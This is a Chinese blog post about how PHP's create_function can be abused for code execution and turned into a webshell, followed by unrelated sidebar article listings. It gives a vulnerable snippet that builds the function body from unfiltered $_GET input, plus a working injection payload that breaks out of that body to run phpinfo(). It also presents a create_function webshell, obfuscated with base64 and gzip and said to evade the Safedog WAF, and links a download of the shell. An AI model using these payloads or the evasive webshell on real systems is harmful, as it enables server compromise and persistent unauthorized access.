文档章节

看PHP的create_function函数木马如何形成和利用

猿类老司机
 猿类老司机
发布于 2017/04/02 18:58
字数 285
阅读 41
收藏 0

create_function函数简介:

(PHP 4 >= 4.0.1, PHP 5)

create_function - 创建一个匿名(lambda-style)

string create_function(字符串 参数,字符串 代码)

简单后台

如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

以如下代码为例:

//how to exp this code

$sort_by=$_GET['sort_by'];

$sorter='strnatcasecmp';

$databases=array('test','test');

$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b', $sort_function));

?>

代码中$sort_by直接用$_GET取值未做过滤,create_function()中的函数体部分$sort_function只是简单的字符串拼接,利用注入将我们的代码写进去。

这里我们首先测试将phpinfo();注入到create_function()的函数体部分$sort_function中。

保存以上代码为func.php,然后提交func.php?sort_by="]);}phpinfo();/*执行

 create_function的php大马

还可以做成php大马,并且可以免杀过安全狗(其它未测试)

下图执行:$_=Create_Function('',$filename);$_();

原来和上面一致的,只是代码经过了 base64 和 gz 等混乱然后函数调用 eval 执行。

代码仅供学习,请勿用于不法用途。

php_create_function_shell.zip

© 著作权归作者所有

猿类老司机
粉丝 0
博文 1
码字总数 285
作品 0
深圳
私信 提问
网站安全问题针对一句话木马函数的普析与防范

本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.html PHP网站安全防一句话木马入侵一、首先是菜刀一句话木马: 菜刀一句话木马的原理是调用了PHP的代码执...

网站安全
2018/06/08
0
0
phpcms网站漏洞如何修复对远程代码写入缓存漏洞利用

SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞,该phpcms漏洞危害较大,可以导致网站被黑,以及服务器遭受黑客的攻击...

网站安全
2018/12/03
17
0
对银行木马DanaBot的Javascript Downloader分析

     本文分析的downloader(下载器)被用于将DanaBot(银行木马)安装到用户系统上。普通的Javascript downloader并不难分析,但是DanaBot的Javascript Downloader使用了有很多混淆技术,...

嘶吼RoarTalk
2018/06/18
0
0
PHP代码审计笔记--代码执行漏洞

漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。 常见代码注射函数:   如:eval、pregreplace+/e、assert、calluserfunc、calluserfuncarray...

bypass
2017/11/24
0
0
使用create_function()创建"匿名"函数

1.使用create_function()创建"匿名"函数 前面提到PHP5.3中才才开始正式支持匿名函数,说到这里可能会有细心读者有意见了,因为有个函数是可以生成匿名函数的: create_function函数, 在手册里...

金于虎
2016/12/23
37
0

没有更多内容

加载失败,请刷新页面

加载更多

关于AsyncTask的onPostExcute方法是否会在Activity重建过程中调用的问题

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/XG1057415595/article/details/86774575 假设下面一种情况...

shzwork
今天
5
0
object 类中有哪些方法?

getClass(): 获取运行时类的对象 equals():判断其他对象是否与此对象相等 hashcode():返回该对象的哈希码值 toString():返回该对象的字符串表示 clone(): 创建并返此对象的一个副本 wait...

happywe
今天
6
0
Docker容器实战(七) - 容器中进程视野下的文件系统

前两文中,讲了Linux容器最基础的两种技术 Namespace 作用是“隔离”,它让应用进程只能看到该Namespace内的“世界” Cgroups 作用是“限制”,它给这个“世界”围上了一圈看不见的墙 这么一...

JavaEdge
今天
8
0
文件访问和共享的方法介绍

在上一篇文章中,你了解到文件有三个不同的权限集。拥有该文件的用户有一个集合,拥有该文件的组的成员有一个集合,然后最终一个集合适用于其他所有人。在长列表(ls -l)中这些权限使用符号...

老孟的Linux私房菜
今天
7
0
面试套路题目

作者:抱紧超越小姐姐 链接:https://www.nowcoder.com/discuss/309292?type=3 来源:牛客网 面试时候的潜台词 抱紧超越小姐姐 编辑于 2019-10-15 16:14:56APP内打开赞 3 | 收藏 4 | 回复24 ...

MtrS
今天
5
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部